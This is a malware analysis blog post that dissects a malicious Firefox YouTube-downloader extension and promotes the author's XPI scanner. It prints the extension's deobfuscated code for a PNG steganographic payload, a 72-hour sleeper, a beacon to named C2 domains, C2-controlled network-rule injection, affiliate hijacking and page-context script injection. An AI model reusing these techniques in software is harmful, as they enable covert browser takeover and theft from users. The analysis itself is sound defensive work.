Malware Analysis: Using browser-xpi-malware-scanner.py to find malware in the wild

I got interested in how malware extensions written for browsers (in this case Firefox) manages to bypass firefox's publication and verification processes and started analyzing a malware extension I had downloaded a few weeks ago when I read an article about 10-20 or so malware extensions with over 100k users were detected on firefox's extension store.

I started writing a script in python which focus is to scan .xpi extension files (which are regular zip archives renamed) which is availible here and installed ~10 extensions on a fresh firefox installation and found an extension containing malware which manages to break free of the extension sandboxing, evades detection by using sleeper and random sampling techniques before sending beacon to C2 server and many,many other interesting malware techniques. I am sure that if i could find this in just 15 minutes of looking through random extensions with few users, there are many MANY more examples

This is coded by a highly skilled coder and gives the attacker total control over the browser including credential stealing, sending commands and affiliate commission hijacking.

Check out the browser-xpi-malware-scanner here: https://github.com/ernos/browser-xpi-malware-scanner

Detailed analysis of malware extension YTMP4 β€” Download YouTube Videos to MP4

Extension Name: YTMP4 β€” Download YouTube Videos to MP4
Extension ID: 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4
File: 1efab3c2-06ac-4040-975d-e006baac07ce@ytmp4.xpi
SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30
Size: 99,547 bytes
Analyzer verdict: CRITICAL RISK (1 CRITICAL Β· 22 HIGH Β· 17 MEDIUM Β· 1 INFO)
Analysis date: April 2, 2026

Live at mozilla extension store as of date of writing this article.

Introduction

This, and many, many other extensions could be prevented simply by adding a check for data after the IEND tag in the PNG file which many malware browser extensions seems to use.


Table of Contents

  1. How browser-xpi-malware-scanner.py Found This Extension
  2. Extension Surface β€” What It Claims to Do
  3. Steganographic Payload in PNG Icon (CRITICAL)
  4. Unicode Low-Byte Encoding Trick
  5. Decoded Payload: The C2 String Table
  6. 72-Hour Sleeper with Random Sampling - Avoiding malicious behaviour during extension validation process
  7. C2 Beacon hidden in another PNG File. Bypasses DOM/DevTools detection
  8. Dynamic declarativeNetRequest Rule Injection - Disguised as an ad-blocker but in reality gives C2 server full control over your HTTP requests
  9. Affiliate Commission Hijacking
  10. Content Script Privilege Escalation Bridge
  11. Arbitrary URL Redirect on Any Domain
  12. CSP Erasure
  13. Complete Attack Chain visualized with ASCII
  14. Indicators of Compromise
  15. What browser-xpi-malware-scanner.py Catches and Why

1. How browser-xpi-malware-scanner.py Found This Extension

Running browser-xpi-malware-scanner.py against the XPI produces the following top-level verdict immediately:

[i] Analyzing XPI: ../../YTMP4 - Download YouTube Videos to MP4.xpi

════════════════════════════════════════════════════════════════════════
  XPI ANALYZER β€” YTMP4 - Download YouTube Videos to MP4.xpi
════════════════════════════════════════════════════════════════════════
  Overall verdict: CRITICAL RISK

  Findings: 1 CRITICAL  24 HIGH  17 MEDIUM  1 INFO

  ── CRITICAL ──────────────────────────────────────────────────────────
  [CRITICAL] [PNG_APPENDED] icon/logo.png:
      1902 bytes appended after PNG IEND (entropy=5.63) β€” classic stego carrier
      CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\…
  ── HIGH ──────────────────────────────────────────────────────────────
  [HIGH    ] [CLASS_STORAGE_OVERLAP] js/content.js:
      String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html β€” likely used as a covert stego marker or out-of-band key
      CODE: class='ncige' in index.html
  [HIGH    ] [CLASS_STORAGE_OVERLAP] js/content.js:
      String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html β€” likely used as a covert stego marker or out-of-band key
      CODE: class='7yfuf2' in index.html
  [HIGH    ] [JS_OBFUSCATION] js/content.js:380
      atob() β€” decoding base64 at runtime (possible payload decode)
      CODE: '); 					fileTip = atob(contentPool[screenValues]).replace(image
  [HIGH    ] [JS_OBFUSCATION] js/content.js:719
      atob() β€” decoding base64 at runtime (possible payload decode)
      CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "
  [HIGH    ] [JS_OBFUSCATION] js/content.js:719
      atob() β€” decoding base64 at runtime (possible payload decode)
      CODE: turn dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "");
  [HIGH    ] [JS_OBFUSCATION] js/content.js:2364
      atob() β€” decoding base64 at runtime (possible payload decode)
      CODE: ol); 	}); 	return atob(dataExt); }  function getComponentNam
  [HIGH    ] [JS_OBFUSCATION] js/snapany.com.js:126
      decodeURIComponent(escape()) β€” encoding trick to bypass scanners
      CODE: return decodeURIComponent(escape(i.bin.bytesToString(e)))
  [HIGH    ] [JS_OBFUSCATION] js/ytmp4.co.za.js:114
      atob() β€” decoding base64 at runtime (possible payload decode)
      CODE: ") 			, a = window.atob(t) 			, s = new Uint8Array(a.length);
  [HIGH    ] [PERMISSION] manifest.json:
      Dangerous permission: '<all_urls>' β€” Access to ALL website content β€” can read/exfiltrate any page data
      PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', '<all_urls>']
  [HIGH    ] [PNG_CHUNK] icon/logo.png:
      Unknown PNG chunk type 'eã½' (1894 bytes) β€” non-standard chunks can hide data
      CODE: b'\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\xe2\xa8\xa4\x15\x…
  [HIGH    ] [SUSPICIOUS_URL] js/index.js:323
      External domain contact: i.ytimg.com
      URL: https://i.ytimg.com
  [HIGH    ] [SUSPICIOUS_URL] js/index.js:328
      External domain contact: media.savetube.me
      URL: https://media.savetube.me
  [HIGH    ] [SUSPICIOUS_URL] js/index.js:341
      External domain contact: rr5---sn-a5mekndz.googlevideo.com
      URL: https://rr5---sn-a5mekndz.googlevideo.com
  [HIGH    ] [SUSPICIOUS_URL] js/index.js:373
      External domain contact: rr5---sn-a5mekndz.googlevideo.com
      URL: https://rr5---sn-a5mekndz.googlevideo.com
  [HIGH    ] [SUSPICIOUS_URL] js/index.js:389
      External domain contact: cdn305.savetube.su
      URL: https://cdn305.savetube.su
  [HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35
      External domain contact: y2meta-uk.com
      URL: https://y2meta-uk.com
  [HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:38
      External domain contact: iframe.y2meta-uk.com
      URL: https://iframe.y2meta-uk.com
  [HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:41
      External domain contact: y2meta-uk.com
      URL: https://y2meta-uk.com
  [HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:44
      External domain contact: iframe.y2meta-uk.com
      URL: https://iframe.y2meta-uk.com
  [HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:60
      External domain contact: api.mp3youtube.cc
      URL: https://api.mp3youtube.cc
  [HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:132
      External domain contact: api.mp3youtube.cc
      URL: https://api.mp3youtube.cc
  [HIGH    ] [SUSPICIOUS_URL] js/content.js:866
      External domain contact: vuejs.org
      URL: https://vuejs.org
  [HIGH    ] [SUSPICIOUS_URL] js/snapany.com.js:65
      External domain contact: api.snapany.com
      URL: https://api.snapany.com
  [HIGH    ] [SUSPICIOUS_URL] js/ytmp4.co.za.js:135
      External domain contact: media.savetube.vip
      URL: https://media.savetube.vip
  ── MEDIUM ────────────────────────────────────────────────────────────
  [MEDIUM  ] [JS_OBFUSCATION] js/index.js:73
      fetch() call β€” verify destination is legitimate
      CODE: odeName); 	!val &&	fetch(logo.src) 		.then(defaultTip => default
  [MEDIUM  ] [JS_OBFUSCATION] js/y2meta-uk.com.js:60
      fetch() call β€” verify destination is legitimate
      CODE: var n = await fetch('https://api.mp3youtube.cc/v2/converter'
  [MEDIUM  ] [JS_OBFUSCATION] js/y2meta-uk.com.js:132
      fetch() call β€” verify destination is legitimate
      CODE: { 		let e = await fetch("https://api.mp3youtube.cc/v2/sanity/key
  [MEDIUM  ] [JS_OBFUSCATION] js/content.js:46
      String.fromCharCode β€” character-code obfuscation
      CODE: ) { 	return String.fromCharCode(screenValues); }  function hasConten
  [MEDIUM  ] [JS_OBFUSCATION] js/content.js:50
      fetch() call β€” verify destination is legitimate
      CODE: tPool, dataExt) { 	fetch(contentPool).then(lineSize => { 		if (l
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
      String.fromCharCode β€” character-code obfuscation
      CODE: !=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|5529
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
      String.fromCharCode β€” character-code obfuscation
      CODE: ode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
      Long innerHTML assignment β€” possible HTML injection
      CODE: e){a.appendChild(e).innerHTML="<a id='"+k+"'></a><select id='"+k+"-\r\\' msallowcapture=''><option selected=''></option>…
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
      Long innerHTML assignment β€” possible HTML injection
      CODE: unction(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",…
  [MEDIUM  ] [JS_OBFUSCATION] js/jquery-3.4.1.min.js:2
      Long innerHTML assignment β€” possible HTML injection
      CODE: LDocument("").body).innerHTML="<form></form><form></form>",2===Vt.childNodes.length),k.parseHTML=function(e,t,n){return"…
  [MEDIUM  ] [JS_OBFUSCATION] js/snapany.com.js:137
      String.fromCharCode β€” character-code obfuscation
      CODE: i.push(String.fromCharCode(e[t]));                     return i.j
  [MEDIUM  ] [JS_OBFUSCATION] js/snapany.com.js:123
      unescape() β€” URL-encoding obfuscation
      CODE: i.bin.stringToBytes(unescape(encodeURIComponent(e)))
  [MEDIUM  ] [JS_OBFUSCATION] js/snapany.com.js:65
      fetch() call β€” verify destination is legitimate
      CODE: er(e); 		v = await fetch("https://api.snapany.com/v1/extract",{
  [MEDIUM  ] [JS_OBFUSCATION] js/ytmp4.co.za.js:135
      fetch() call β€” verify destination is legitimate
      CODE: { 		let e = await fetch("https://media.savetube.vip/api/random-c
  [MEDIUM  ] [JS_OBFUSCATION] js/ytmp4.co.za.js:142
      fetch() call β€” verify destination is legitimate
      CODE: Cdn(); 		v = await fetch("https://".concat(t, "/v2/info"),{ 			m
  [MEDIUM  ] [JS_OBFUSCATION] js/ytmp4.co.za.js:165
      fetch() call β€” verify destination is legitimate
      CODE: try { 			v = await fetch("https://".concat(l, "/download"), {
  [MEDIUM  ] [PERMISSION] manifest.json:
      Dangerous permission: 'downloads' β€” Can initiate and read downloads
      PERMISSION: permissions: ['tabs', 'storage', 'declarativeNetRequest', 'downloads', '<all_urls>']
  ── INFO ──────────────────────────────────────────────────────────────
  [INFO    ] [METADATA] ../../YTMP4 - Download YouTube Videos to MP4.xpi:
      SHA-256: f4c493377c6065e039f547ab0da5bafdfb8eaffa524fd744c119fd2bb6cfef30  |  size: 99,547 bytes

The single CRITICAL finding β€” raw bytes after a PNG's IEND marker β€” is the thread that, when pulled, unravels the entire malware architecture. Every other HIGH-severity finding (runtime atob() calls, suspicious external domains, the <all_urls> permission) reinforces the picture. None of the individual signals is conclusive on its own; their combination is damning.


2. Extension Surface β€” What It Claims to Do

The extension presents as a YouTube-to-MP4 downloader. The manifest.json is Manifest V3 and looks superficially reasonable:

{
  "manifest_version": 3,
  "name": "__MSG_extName__",
  "version": "1.3.4",
  "permissions": ["tabs", "storage", "declarativeNetRequest", "downloads"],
  "host_permissions": ["<all_urls>"],
  "content_scripts": [
    {
      "js": ["js/content.js"],
      "matches": ["https://*/*", "http://*/*"],
      "all_frames": true,
      "run_at": "document_end"
    }
  ],
  "sidebar_action": {
    "default_panel": "index.html"
  }
}

Two permissions immediately stand out to browser-xpi-malware-scanner.py:

  • <all_urls> (HIGH) β€” grants the content script access to every website the user visits
  • declarativeNetRequest (visible in manifest) β€” normally used for ad-blocking; here it is the delivery mechanism for C2-controlled network rules

The extension ships with adpoint.json, which blocks three Google ad domains. This is deliberate misdirection: it makes the declarativeNetRequest permission look innocent β€” "we need it to block ads."

[
  {"id": 190001, "action": {"type": "block"},
   "condition": {"urlFilter": "||googleads.g.doubleclick.net"}},
  {"id": 190002, "action": {"type": "block"},
   "condition": {"urlFilter": "||googlesyndication.com"}},
  {"id": 190003, "action": {"type": "block"},
   "condition": {"urlFilter": "||adtrafficquality.google"}}
]

3. Steganographic Payload in PNG Icon (CRITICAL)

ymp4-youtube1_69ce9eaaac71b.webp

What browser-xpi-malware-scanner.py detected

  ── CRITICAL ──────────────────────────────────────────────────────────
  [CRITICAL] [PNG_APPENDED] icon/logo.png:
      1902 bytes appended after PNG IEND (entropy=5.63) β€” classic stego carrier
      CODE: b'ncige\x1f\xe3\xbd\xa9\x18\xe3\xa1\x84\xe1\xa1\xa1\x18\xe3\xa1\xb9\x1f\xe3\xbd\xb3\x1c\xe3\xb0\xba\x1b\xe5\xac\xa0\r\n\…
  ── HIGH ──────────────────────────────────────────────────────────────
  [HIGH    ] [CLASS_STORAGE_OVERLAP] js/content.js:
      String literal 'ncige' appears both as a JS string in this file and as an HTML class attribute in index.html β€” likely used as a covert stego marker or out-of-band key
      CODE: class='ncige' in index.html
  [HIGH    ] [CLASS_STORAGE_OVERLAP] js/content.js:
      String literal '7yfuf2' appears both as a JS string in this file and as an HTML class attribute in index.html β€” likely used as a covert stego marker or out-of-band key
      CODE: class='7yfuf2' in index.html

The PNG spec requires that a compliant file end with the four-byte sequence IEND followed by an 8-byte footer. Anything written after that is invisible to image decoders but fully readable as raw bytes. In this file, 1,902 bytes begin immediately after IEND.

The appended data starts with the ASCII string ncige. This is not random β€” it is a deliberately chosen marker that appears verbatim in index.html:

<img src="icon/logo.png" class="logo ncige 7yfuf2" alt="">

How the payload is extracted (index.js, lines 63–68)

async function start() {
    var yt, logo = $(".logo")[0],
        nodeName = logo.classList[1];   // "ncige"
    
    var val = await localGet(nodeName);
    !val && fetch(logo.src)             // fetch the raw PNG bytes as a text response
        .then(r => r.text())
        .then((textTag) => {
            // split the raw text on "ncige" β†’ everything after the marker is the payload
            localSet(nodeName, {[logo.classList[2]]: textTag.split(nodeName)[1]})
            //                    ↑ "7yfuf2"              ↑ stored under "7yfuf2" key
        });
}

Step by step:

  1. The extension icon logo.png is fetched via fetch() but decoded with .text(), not .blob() β€” treating binary image data as a UTF-8 string.
  2. The result is split on the string "ncige", which appears at offset 0 in the appended trailer.
  3. Everything after "ncige" β€” the 1,897-byte encoded payload β€” is saved to localStorage["ncige"]["7yfuf2"].
  4. This only runs once: the !val guard means subsequent installs skip the fetch.

The payload never touches the DOM. It never appears in network DevTools as a suspicious request (it's just the icon loading). It is stored in extension localStorage where casual inspection won't find it. Only browser-xpi-malware-scanner.py's check_png_appended() function, which reads raw PNG bytes and looks for data past IEND, surfaced it.


4. Unicode Low-Byte Encoding Trick

The payload stored in localStorage is not plain text and it is not standard Base64. It uses a custom encoding that is entirely invisible to most static scanners:

Each byte of the original configuration data is encoded as a 3-byte UTF-8 sequence whose Unicode code point has the target byte as its low byte:

Target byte: 0x69 ('i')  β†’  0x3F69  β†’  UTF-8: \xE3\xBD\xA9
Target byte: 0x44 ('D')  β†’  0x3844  β†’  UTF-8: \xE3\xA1\x84
Target byte: 0x61 ('a')  β†’  0x3861  β†’  UTF-8: \xE3\xA1\xA1

Control characters (< 0x20) are inserted as inter-character padding and discarded by the decoder.

The decoder β€” copyNodeTo() (content.js, line 165)

function copyNodeTo(screenValues) {
    var contentPool = screenValues.split('').map(fileTip => {
        if (fileTip.charCodeAt(0) < 32) return '';       // discard padding
        var event$1 = fileTip.charCodeAt(0).toString(16),
            dataExt = event$1.substr(event$1.length - 2, 2); // take last 2 hex digits
        return updImgOn(parseInt(dataExt, 16))            // = String.fromCharCode(low_byte)
    });
    return contentPool.join('')
}

In plain terms: for each Unicode character with code point > 31, take codepoint & 0xFF as the decoded byte.

Python reproduction

with open("icon/logo.png", "rb") as f:
    data = f.read()

# Extract appended trailer
iend_pos = data.rfind(b"IEND")
trailer = data[iend_pos + 8:]
raw_payload = trailer[trailer.find(b"ncige") + 5:]

# Decode as UTF-8 (same as browser .text())
as_str = raw_payload.decode("utf-8", errors="replace")

# Apply copyNodeTo: low byte of each non-control codepoint
decoded = ''.join(
    chr(ord(ch) & 0xFF)
    for ch in as_str
    if ord(ch) >= 32
)

# Split like JS findDefaultVal(…, ";")
buffer1 = decoded.split(';')

This combination β€” binary stego carrier, Unicode low-byte obfuscation, and obfuscated variable names β€” means the payload evades:

  • Signature-based AV scanners (no known-malicious strings in static files)
  • Manual code review (the only visible code is a seemingly innocent fetch(logo.src))
  • Base64 detectors (not Base64)
  • String entropy scanners (encoded bytes spread across multi-byte Unicode)

5. Decoded Payload: The C2 String Table

After decoding, the payload is a 39-entry semicolon-delimited configuration table. This is buffer$1, referenced throughout content.js by numeric index. Using named indices, the full table is:

Index Value Role
[0] iDays: $1 Debug log template
[1] <3ri deng... Sleep log (Pinyin: "δΈ‰ζ—₯等…" = "waiting 3 days...")
[2] local unavailable, use cloud now... Fallback log
[3] skip shuaxin 90% prob. Random sampling log ("shuaxin" = εˆ·ζ–°, refresh)
[4] xiao shi: $1 ($2 required) Hours-elapsed log ("xiao shi" = 小既, hours)
[5] switch bak sver... Backup server fallback log
[6] xhr status: $1 Fetch error log
[7] skipping bak sver... Backup server skip log
[8] ON ERROR Error log
[9] jia zai $1 Loading log ("jia zai" = 加载, loading)
[10] ON EXCEPTION Exception log
[11] suc shuaxin Success log
[12] sbxing ifrs: $1 Sandbox iframe log
[13] data":"image Sentinel for image-type C2 response
[14] cnvifr CSS class of iframes to be sandboxed
[15] disprizhi Verbose logging enable key ("disprizhi" = ζ˜Ύε€Ό, display value?)
[16] extftsams99ba localStorage key for URL redirect rules
[17] svrdpcds Sentinel string marking C2-sourced image data
[18] ick.taobao.com/t_js? Taobao affiliate tracking URL fragment
[19] ion-click.jd.com JD.com affiliate tracking URL fragment
[20] https://$1/ext/load.php?f=svr.png C2 fetch URL template
[21] dreamhov.de C2 backup server domain
[22] ipaglov.com C2 primary server domain
[23] isWho localStorage flag key
[24] guaiguai Special activation mode flag ("guaiguai" = δΉ–δΉ–, obedient)
[25] jsonimg= Prefix to strip from C2 JSON response
[26] inst.v3 Installation version key
[27] ifr2top postMessage event name (iframe→top window)
[28] var hrl=' JS fragment for redirect script injection
[29] sandbox HTML attribute name to neuter iframes
[30] %cLzyh-- Console log styling prefix
[31] color:green Console log CSS (attacker debug output)
[32] ^w{3}\.|:80$ Regex to normalize hostnames
[33] setTimeout Used to name-lookup window["setTimeout"]
[34] exdipmver Global activation flag: window.exdipmver = 3
[35] browserCache Name for the fake chrome.* API injected into pages
[36] jruldyn localStorage key that stores the DNR rules payload
[37] "web(t|b)\w{5,8}" Regex to strip from decoded DNR rules JSON
[38] meta[http-equiv^="Content-Security-Policy"] CSS selector to detect and remove CSP

The Chinese Pinyin throughout the debug strings (shuaxin, xiao shi, jia zai, guaiguai) strongly indicates the author is a native Chinese speaker. The two C2 domains β€” ipaglov.com (primary) and dreamhov.de (backup) β€” are hardcoded only here, in an encoded form inside a PNG binary, never appearing anywhere in parseable JavaScript or resource files.


6. 72-Hour Sleeper with Random Sampling - Avoiding malicious behaviour during extension validation process

browser-xpi-malware-scanner.py signals

[HIGH    ] [JS_OBFUSCATION] js/content.js:380
    atob() β€” decoding base64 at runtime (possible payload decode)
[MEDIUM  ] [JS_OBFUSCATION] js/content.js:46
    String.fromCharCode β€” character-code obfuscation

The sleeper mechanism

On first run of content.js on any page, when localStorage["ncige"] does not yet contain an install timestamp, rdnDataPro("ncige") is called:

function rdnDataPro(contentPool) {
    pageArr.documentValues.get(null, function(event$1) {
        if (event$1[contentPool]) setSelecteds(contentPool, event$1[contentPool])
        else {
            // texts["inst.v3"] is 0 on first install
            // XOR_key = Math.abs(DJB2_hash(extensionId)) % 1000
            var dataExt = texts[pageArr.buffer$1[26]] || pageArr.event$1;
            setSelecteds(contentPool, dataExt * pageArr.contentPool);
            //                                   ↑ stores (0 Γ— XOR_key) = 0, or (Date.now() Γ— XOR_key)
        }
    });
}

The install time is stored obfuscated: storedValue = Date.now() Γ— XOR_key. To recover it: originalTime = storedValue / XOR_key.

On every subsequent page load, testImgCode checks elapsed time:

function testImgCode(contentPool) {
    if (contentPool) {
        // contentPool = stored obfuscated timestamp
        // pageArr.contentPool = XOR_key derived from extension UUID
        var event$1 = (pageArr.event$1 - contentPool / pageArr.contentPool) / 36E5;
        //              ↑ Date.now()    ↑ recoveredInstallTime              ↑ Γ·3,600,000 = hours

        if (event$1 < pageArr.selectedValues * 6) {  // selectedValues=12, so 12Γ—6=72
            putPages(1);  // logs "<3ri deng..." (waiting 3 days)
            return;       // EXIT β€” do nothing for 72 hours
        }

        if (findContentIn(texts[pageArr.buffer$1[15]] == "1" ? 0 : pageArr.selectedValues * 4))
            genFileArr(true);  // beacon to C2

        getContentOn();  // inject privilege bridge
    } else {
        rdnDataPro(pageArr.docNum);  // first run: record install time
    }
}

The 10% random sampling

findContentIn calls rdnOrderExt() which introduces the random gate:

function rdnOrderExt() {
    // dragImages(0, 200) = Math.random()*200|0  β†’  0..199
    if (dragImages(0, pageArr.screenValues) > 20) {
        putPages(3);   // logs "skip shuaxin 90% prob."
        return false;  // SKIP
    } else return true; // proceed (β‰ˆ10% of page loads)
}

function dragImages(event$1, dataExt) {
    return (Math.random() * (dataExt - event$1) | 0) + event$1;
}

screenValues = 200, threshold = 20 β†’ P(proceed) = 21/200 β‰ˆ 10.5%.

The effect: even after the 72-hour window expires, only about 1 in 10 page loads triggers a C2 beacon β€” making timing-based behavioral analysis far harder.


7. C2 Beacon hidden in another PNG File. Bypasses DOM/DevTools detection

browser-xpi-malware-scanner.py signals

[MEDIUM  ] [JS_OBFUSCATION] js/content.js:50
    fetch() call β€” verify destination is legitimate

After the 72-hour sleep, genFileArr sends a beacon to the C2:

function genFileArr(screenValues) {
    !screenValues && putPages(5);
    // buffer$1[20] = "https://$1/ext/load.php?f=svr.png"
    // buffer$1[22] = "ipaglov.com"  (primary)
    // buffer$1[21] = "dreamhov.de"  (backup, used when screenValues=false)
    var contentPool = pageArr.buffer$1[20].replace("$1",
        (!screenValues) ? pageArr.buffer$1[21] : pageArr.buffer$1[22]
    );
    // Append cached version parameter for delta updates
    contentPool += (texts["formExt"] && !(contentPool.includes("&c=")))
        ? "&c=" + texts["formExt"] : "";

    putPages(9, contentPool);  // logs "jia zai https://ipaglov.com/ext/load.php?f=svr.png"

    hasContentAll(contentPool, function(dataExt, event$1) {
        switch (dataExt) {
            case 1:  // HTTP 200
                // Strip "jsonimg=" prefix if present (buffer$1[25])
                if (event$1.includes(pageArr.buffer$1[25] + '{'))
                    event$1 = event$1.split(pageArr.buffer$1[25])[1];
                findOptions(event$1);  // parse and store C2 payload
                break;
            case 0:  // HTTP non-200
                if (screenValues) {
                    // 40% chance: try backup server; 60%: log and abort
                    (dragImages(0, pageArr.screenValues) > 40)
                        ? genFileArr(false)
                        : putPages(7);
                }
                break;
            case -1: // Network error
                setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
                break;
        }
    })
}

Key observations:

  1. The C2 response is disguised as a PNG (f=svr.png). A network inspector sees a PNG content-type. The actual response body contains JSON prefixed with jsonimg=. The prefix is stripped before parsing β€” so the payload is valid JSON wrapped in a fake image content-type.
  2. Delta updates: the &c=<version> parameter lets the server send only changed rules, and enables the server to track which victim is at which payload version.
  3. Primary/backup C2: ipaglov.com is tried first. On failure, 40% of the time it silently falls back to dreamhov.de.

8. Dynamic declarativeNetRequest Rule Injection - Disguised as an ad-blocker but in reality gives C2 server full control over your HTTP requests

browser-xpi-malware-scanner.py signals

[HIGH    ] [PERMISSION] manifest.json:
    Dangerous permission: '<all_urls>'
[HIGH    ] [JS_OBFUSCATION] js/content.js:380
    atob() β€” decoding base64 at runtime (possible payload decode)

Once the C2 response is parsed, findOptions stores the rule payload:

function findOptions(screenValues) {
    // buffer$1[13] = 'data":"image' β€” check if it looks like a data-URL image response
    if (screenValues.length > pageArr.screenValues && screenValues.includes(pageArr.buffer$1[13])) {
        var dataExt = JSON.parse(screenValues),
            event$1 = dataExt.id,
            contentPool = dataExt.image;
        contentPool = removeTimeIn(contentPool);  // decode obfuscated image data
        if (contentPool.includes(pageArr.buffer$1[17])) {  // contains "svrdpcds"?
            // Store the encoded DNR rules under localStorage["7yfuf2"]
            setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
            // Store the second payload (URL redirect rules) under localStorage["3i1rfsciu"]
            setSelecteds(pageArr.texts, cpyTipStr(event$1 + pageArr.lineSize + contentPool, 1E5));
        }
    } else {
        setSelecteds(pageArr.contentCount, cpyTipStr(pageArr.event$1, 1E5));
    }
}

pageArr.hasTokenAll("jruldyn") then reads and fires the DNR rules:

hasTokenAll: function(screenValues) {
    pageArr.documentValues.get(screenValues, function(contentPool) {
        if (contentPool && contentPool[screenValues]) {
            // buffer$1[37] = '"web(t|b)\w{5,8}"' β€” strip these strings from JSON
            var image$1 = new RegExp(pageArr.buffer$1[37], 'g');
            fileTip = atob(contentPool[screenValues]).replace(image$1, '');
            //         ↑ base64-decode the stored rules payload
            dataExt = JSON.parse(fileTip);  // array of declarativeNetRequest rule objects
            var screenValues = dataExt.map(event$1 => event$1.id);
            chrome.runtime.sendMessage({
                dataExt: dataExt,            // rules to install
                contentPool: screenValues[0] - 1,  // remove rules with IDs below this
                event$1: screenValues.pop() + pageArr.selectedValues  // remove up to this ID
            });
        }
    })
},

In bg.js:

function onMessage(msg, sender, sendResponse) {
    if (msg.dataExt) {
        chrome.declarativeNetRequest.getDynamicRules().then(e => {
            var fileTip = [];
            e.map(event$1 => event$1.id).forEach(dataExt => {
                if (dataExt > msg.contentPool && dataExt < msg.event$1)
                    fileTip.push(dataExt);
            });
            chrome.declarativeNetRequest.updateDynamicRules({
                removeRuleIds: fileTip,
                addRules: msg.dataExt  // ← C2-controlled rules installed silently
            });
        });
    }
}

The C2 server has full, live control over the browser's network request rules. It can add, remove, or modify rules at any time β€” blocking, redirecting, or modifying any HTTP request the browser makes. The victim cannot see these rules without using the chrome://extensions internals page and specifically inspecting dynamic rules.


9. Affiliate Commission Hijacking

browser-xpi-malware-scanner.py signals

[HIGH    ] [SUSPICIOUS_URL] js/y2meta-uk.com.js:35
    External domain contact: y2meta-uk.com
[HIGH    ] [SUSPICIOUS_URL] js/index.js:328
    External domain contact: media.savetube.me

The decoded buffer$1 string table exposes the campaign's primary target:

[18] "ick.taobao.com/t_js?"    ← Taobao affiliate click tracker
[19] "ion-click.jd.com"        ← JD.com affiliate click tracker

Taobao and JD.com are two of China's largest e-commerce platforms. Both operate affiliate programmes where a commission is earned for each sale that passes through a tracked referral link. The tracker URL format for Taobao is https://click.taobao.com/t_js?... and for JD.com is https://union-click.jd.com/....

The declarativeNetRequest rules pushed from the C2 almost certainly implement redirect rules of the form:

{
  "id": 200001,
  "priority": 2,
  "action": {
    "type": "redirect",
    "redirect": {
      "transform": {
        "queryTransform": {
          "removeParams": ["pid"],
          "addOrReplaceParams": [{"key": "pid", "value": "<attacker_affiliate_id>"}]
        }
      }
    }
  },
  "condition": {
    "urlFilter": "||click.taobao.com/t_js?",
    "resourceTypes": ["main_frame", "sub_frame"]
  }
}

Every product the victim purchases on Taobao or JD.com β€” including purchases they intended, on legitimate product pages β€” silently earns the attacker a commission, with no visible indication to the victim. This is a purely passive revenue stream requiring no interaction beyond installation.


10. Content Script Privilege Escalation Bridge

browser-xpi-malware-scanner.py signals

[HIGH    ] [JS_OBFUSCATION] js/content.js:719
    atob() β€” decoding base64 at runtime (possible payload decode)
    CODE: return dataExt ? atob(atob(this)) : btoa(this).replace(/=/g, "");

This is the most dangerous capability. getContentOn() runs after C2 data is received and texts["logCode"] is populated. It builds a fake chrome.* API bridge that is injected into the page context using an eval-equivalent setTimeout(string) call:

function getContentOn() {
    var event$1 = texts["logCode"];  // ← arbitrary JS from C2 server
    if (event$1) {
        if (event$1.includes(pageArr.buffer$1[17])) {   // contains "svrdpcds"?
            var val = document.querySelector(pageArr.buffer$1[38]);
            // buffer$1[38] = 'meta[http-equiv^="Content-Security-Policy"]'
            if (val) return true;  // CSP present β†’ abort
            lineSize();            // install the message bridge listener
            eventCode();           // inject the fake chrome API via eval
        }
    }

    // ...

    function eventCode() {
        try {
            // Builds: "!selectedExt('exdipmver', 'browserCache', '<extensionId>'); <logCode>"
            var screenValues = '!' + selectedExt.toString()
                + '(' + documentValues() + ');' + event$1;
            setTimeout(screenValues, 1);  // ← eval equivalent
        } catch (e) {}
    }

    function selectedExt(dataExt, docNum, buffer$1) {
        // Injected into the PAGE context (not the extension sandbox)
        // docNum = "browserCache", buffer$1 = extension UUID

        window[docNum] = {   // window["browserCache"] = { ... }
            runtime: {
                id: buffer$1,
                sendMessage: (msg, cb) => {
                    contentPool('secTipAs', msg);   // postMessage to content script
                    lineSize('dragFile', cb);        // wait for response
                }
            },
            storage: {
                local: {
                    set: (data, cb) => { contentPool('cpyEventSize', data); if (cb) cb(); },
                    get: (key,  cb) => { contentPool('rmLocSize', key); lineSize('addEventPro', cb); }
                },
                sync: {
                    set: (data, cb) => { contentPool('raNoteAs', data); if (cb) cb(); },
                    get: (key,  cb) => { contentPool('newEventAll', key); lineSize('popLine', cb); }
                }
            }
        };
        window.exdipmver = dataExt;  // window["exdipmver"] = 3
    }
}

The lineSize() function installs a window.addEventListener("message", ...) listener in the content script and bridges calls through to the real chrome.* APIs:
